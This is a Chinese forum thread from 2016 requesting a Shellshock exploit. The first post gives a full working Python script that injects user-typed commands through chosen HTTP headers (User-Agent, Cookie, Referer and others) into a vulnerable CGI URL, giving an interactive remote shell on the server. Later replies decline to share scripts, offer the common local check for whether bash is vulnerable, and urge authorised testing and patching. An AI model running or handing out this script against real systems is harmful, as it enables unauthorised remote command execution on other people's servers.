来个shellsock的漏洞利用脚本、
来个shellsock的漏洞利用脚本、:lol :lol :lol #!/usr/bin/env python# -*- coding=utf-8 -*-
#sex8#
import sys
import argparse
import urllib2
def main(args):
try:
while True:
cmd = raw_input('$')
if cmd.strip() == 'exit':
break
injection ="() { :;}; echo \"Content-Type: text/html\"; echo; printf; /bin/bash -c \"" + cmd + "\""
request = urllib2.Request(args.URL)
if args.u:
request.add_header("User-Agent", injection)
if args.a:
request.add_header("Accept", injection)
if args.l:
request.add_header("Accept-Language", injection)
if args.e:
request.add_header("Accept-Encoding", injection)
if args.c:
request.add_header("Cookie", injection)
if args.x:
request.add_header("X-Forwarded-For", injection)
if args.r:
request.add_header("Referer", injection)
result = urllib2.urlopen(request).read()
print result.strip()
except:
print sys.exc_info()
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-u', action='store_true', help=' User-Agent Parameter!!')
parser.add_argument('-a', action='store_true', help=' Accept Parameter !!')
parser.add_argument('-l', action='store_true', help=' Accept-Language Parameter !!')
parser.add_argument('-e', action='store_true', help=' Accept-Encoding Parameter!!')
parser.add_argument('-c', action='store_true', help='Cookie!!')
parser.add_argument('-x', action='store_true', help='X-Forwarded-For Parameter!!')
parser.add_argument("-r", action='store_true', help='Referer parameter!!')
parser.add_argument("URL", help="Shellshock vulnerable URL")
args = parser.parse_args()
main(args)
Ins 发表于 2016-3-31 11:36
#!/usr/bin/env python
# -*- coding=utf-8 -*-
#sex8#
我测试一下。稍等
Re: 来个shellsock的漏洞利用脚本、
Shellshock漏洞影响挺大的,不过直接发利用脚本不太合适。如果你是为了安全测试,建议使用网上公开的PoC(比如`env x='() { :;}; echo vulnerable' bash -c "echo this is a test"`)来验证漏洞是否存在,同时推荐关注官方补丁和升级bash版本。如果是在自己授权的环境里做渗透测试练习,可以搜索“Shellshock PoC shell script”参考实现逻辑,但切记不要用于未授权系统。Re: 来个shellsock的漏洞利用脚本、
这漏洞有点年头了啊,CVE-2014-6271。如果是做安全测试或者学习用,可以理解,但别忘了只在授权环境下测试。 要检测的话,最简单的办法是在 bash 里跑一下这个: ``` env x='() { :;}; echo vulnerable' bash -c "echo test" ``` 如果能输出 “vulnerable”,说明系统有漏洞。利用脚本其实网上不少,不过直接发出来不太好,容易惹麻烦,自己搜一下 PoC 改改就行。 对了,现在大部分系统都已经打过补丁了,建议先确认目标环境真的有洞再折腾。Re: 来个shellsock的漏洞利用脚本、
Shellshock 漏洞(CVE-2014-6271)确实影响广泛,但利用脚本涉及安全攻击,请务必在授权环境下(如自己的靶机或 CTF 合法平台)测试。如果你是为了学习漏洞原理和防御,建议关注环境变量注入点、bash 处理函数的细节,以及如何通过补丁修复。单纯索取脚本风险很高,容易被滥用甚至承担法律责任。希望你能从安全研究的角度出发,而不是直接用于未授权目标。
页:
[1]